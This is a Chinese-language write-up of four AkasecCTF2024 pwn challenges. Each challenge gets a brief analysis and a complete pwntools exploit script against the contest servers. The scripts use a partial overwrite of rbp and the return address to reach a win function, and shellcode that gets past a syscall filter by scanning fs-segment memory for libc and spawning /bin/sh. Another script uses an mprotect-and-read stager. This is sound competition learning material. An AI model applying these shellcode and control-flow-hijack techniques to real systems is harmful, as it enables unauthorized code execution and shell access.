# AkasecCTF2024 WriteUp-Pwn
# yapping
# 题目分析
一个纯汇编搓的程序,也就没有动态链接了。
没有栈溢出
但是能够覆盖栈上面保存的循环使用的 i 变量。用过修改这个变量实现一次任意地址写。
存在后门函数:win 函数
但是需要先修改 bss 上面的变量才能通过检查拿到 flag。
因此我们需要干的事情就是:
1. 修改 bss 上面的变量
2. 劫持程序执行流到 win 函数。
# 解题思路
但是我们只有一次写地址机会,如果直接劫持 vuln 函数的返回地址肯定无法干那么多事情。
我们于是开始尽可能利用现有的 buf
他调用 read 函数没有直接 syscall,而是调用了一个函数之后进行 syscall。
我们尝试劫持这个函数的执行流,让它返回到我们提前布置在 buf 里面的 ROP 链子。
(这时候有人就说了:都能执行 ROP 了为什么不直接搓个 ORW 的链子?Ans:因为程序是汇编搓的,所以 gadgets 几乎就是没有。还是要调用 win 函数)
至于更改 bss 的变量,vuln 函数中定位 buf 使用的是 rbp 寄存器,于是我们劫持执行流的时候把 rbp 更改了就行了。
(Q:你只能写 8 字节的内容,为什么能同时改 rbp 和返回地址?A: 我们从 rbp 低第 2 位开始写,改到返回地址最低一个字节正好 8 字节,返回地址最低一位改成 0x60 就能返回到 ret 指令,之后 ret 到我们 buf 布置的 ROP 链子,rbp 就只剩最低一位无法控制,我们直接爆破就行,就能劫持 rbp 到 bss 上面,之后调用 vuln 函数就能修改 bss 上面的变量,之后 vuln 函数结束 ret 到 win 函数就可以了)
# Exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| from pwn import* from Crypto.Util.number import long_to_bytes,bytes_to_long
context.log_level='debug' context(arch='amd64',os='linux') context.terminal=['tmux','splitw','-h']
pwn = './pwn' p=remote('20.80.240.190',14124)
payload1=p64(0x4011F4)+p64(0x401160)+p64(0x401160)
payload=payload1*4+p64(0xFFFFFFe9ffffffff)+p64(0xFFFFFFe9ffffffff)+p64(0x6000000000004040) p.send(payload)
pause() payload2=p64(0x6e696d6461)*16 p.send(payload2)
p.interactive()
|
# the_absolute_horror_of_the_trip
# 题目分析
一道 shellcode 题目
buf 地址已知,pie 开启
刚开始就给了 puts 函数的低 4 字节
过滤了 buf 中的 syscall , int 0x80 , sysenter 指令,之后设置 buf 为 r-xp,寄存器除了已知的 buf 地址全清空了。(非常逆天)
在没有 syscall 的情况下我们肯定要调用 elf 的函数来之后进行操作。最重要的就是拿到 elf,libc,ld 之类的地址。
# 解题思路
除了 rdi 之类的通用寄存器,程序还有着 cs fs ss 等段寄存器。fs 寄存器加上偏移就能拿到一些地址。
经过测验,fs:[0x00/0x08/0x10] 存储的是 libc 前面的一个段的地址,在那个段我们可以找到 libc 基址,但是实测加上偏移的方法在本地可以 100% 拿 shell,但是远程就 100% 不行。
猜测是本地和远程 ld 不同或者操作系统(好像远程是 archlinux)导致段内的环境不同。因此直接写个循环在段内搜索,匹配给出的 puts 函数低字节来找到 libc 地址,从而拿到基址。
低 4 字节我们知道,但是高 2 字节不知道,我们就是要找到一个 libc 的地址就能直接知道了。
知道 libc 基址之后就能直接 orw 或者 execve 拿 shell 了。
# Exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84
| from pwn import* from Crypto.Util.number import long_to_bytes,bytes_to_long
context.log_level='debug' context(arch='amd64',os='linux') context.terminal=['tmux','splitw','-h']
pwn = './pwn' p=remote('172.210.129.230',1369)
p.recvuntil("0x") add=int(p.recv(8),16)-0x079BF0 print(hex(add)) code=f''' st1: nop st: mov rdi,fs:0x0 mov rsi,0xdddddd cmp rdi,rsi jl st1
mov rcx, 0xf0000
loop_start: mov rax, [rdi] mov r8,{add} mov r10,r8 mov rbx,0x00000000fff00000 mov r9, 0x00000000fff00000 and rax, rbx and r8,rbx cmp rax,r8 jne loop_end mov rdi, [rdi] mov rbx,0xffffffff00000000 and rdi,rbx add rdi,r10 jmp after loop_end: add rdi, 8 dec rcx jnz loop_start after: add rdi,0x3E717 mov rbx,rdi mov rsp,0x69696b6000 mov rcx,0x68732f6e69622f mov [rsp],rcx mov rdi,rsp xor rax,rax mov rax,59 mov rcx,0x353f xor rcx,0x3030 xor rdx,rdx xor rsi,rsi jmp rbx
'''
p.sendline(asm(code)) p.sendline("ls") p.interactive()
|
# good_trip
# 题目分析
上面一题的简化版本。
# Exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| from pwn import* from Crypto.Util.number import long_to_bytes,bytes_to_long
context.log_level='debug' context(arch='amd64',os='linux') context.terminal=['tmux','splitw','-h']
pwn = './pwn' p=remote('172.210.129.230',1351)
p.sendlineafter("code size",str(0x999)) code=''' mov rsp,0x404800 mov rdi,0x1337131000 mov rsi,0x1000 mov rdx,0x7 mov rcx,0x401090 call rcx
mov rdi,0 mov rsi,0x1337131100 mov rdx,0x100 mov rcx,0x401060 call rcx mov rcx,0x1337131100 call rcx ''' p.sendline(asm(code)) pause() p.sendline(asm(shellcraft.sh()))
p.interactive()
|
# bad_trip
# 题目分析
依旧是简化版本,但是 exp 通用),还好我先做的难的)
# Exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84
| from pwn import* from Crypto.Util.number import long_to_bytes,bytes_to_long
context.log_level='debug' context(arch='amd64',os='linux') context.terminal=['tmux','splitw','-h']
pwn = './pwn' p=remote('172.210.129.230',1352)
p.recvuntil("0x") add=int(p.recv(8),16)-0x079BF0 print(hex(add)) code=f''' st1: nop st: mov rdi,fs:0x0 mov rsi,0xdddddd cmp rdi,rsi jl st1
mov rcx, 0xf0000
loop_start: mov rax, [rdi] mov r8,{add} mov r10,r8 mov rbx,0x00000000fff00000 mov r9, 0x00000000fff00000 and rax, rbx and r8,rbx cmp rax,r8 jne loop_end mov rdi, [rdi] mov rbx,0xffffffff00000000 and rdi,rbx add rdi,r10 jmp after loop_end: add rdi, 8 dec rcx jnz loop_start after: add rdi,0x3E717 mov rbx,rdi mov rsp,0x69696b6000 mov rcx,0x68732f6e69622f mov [rsp],rcx mov rdi,rsp xor rax,rax mov rax,59 mov rcx,0x353f xor rcx,0x3030 xor rdx,rdx xor rsi,rsi jmp rbx
'''
p.sendline(asm(code)) p.sendline("ls") p.interactive()
|
# 总结
题目质量还挺高的。难度中等。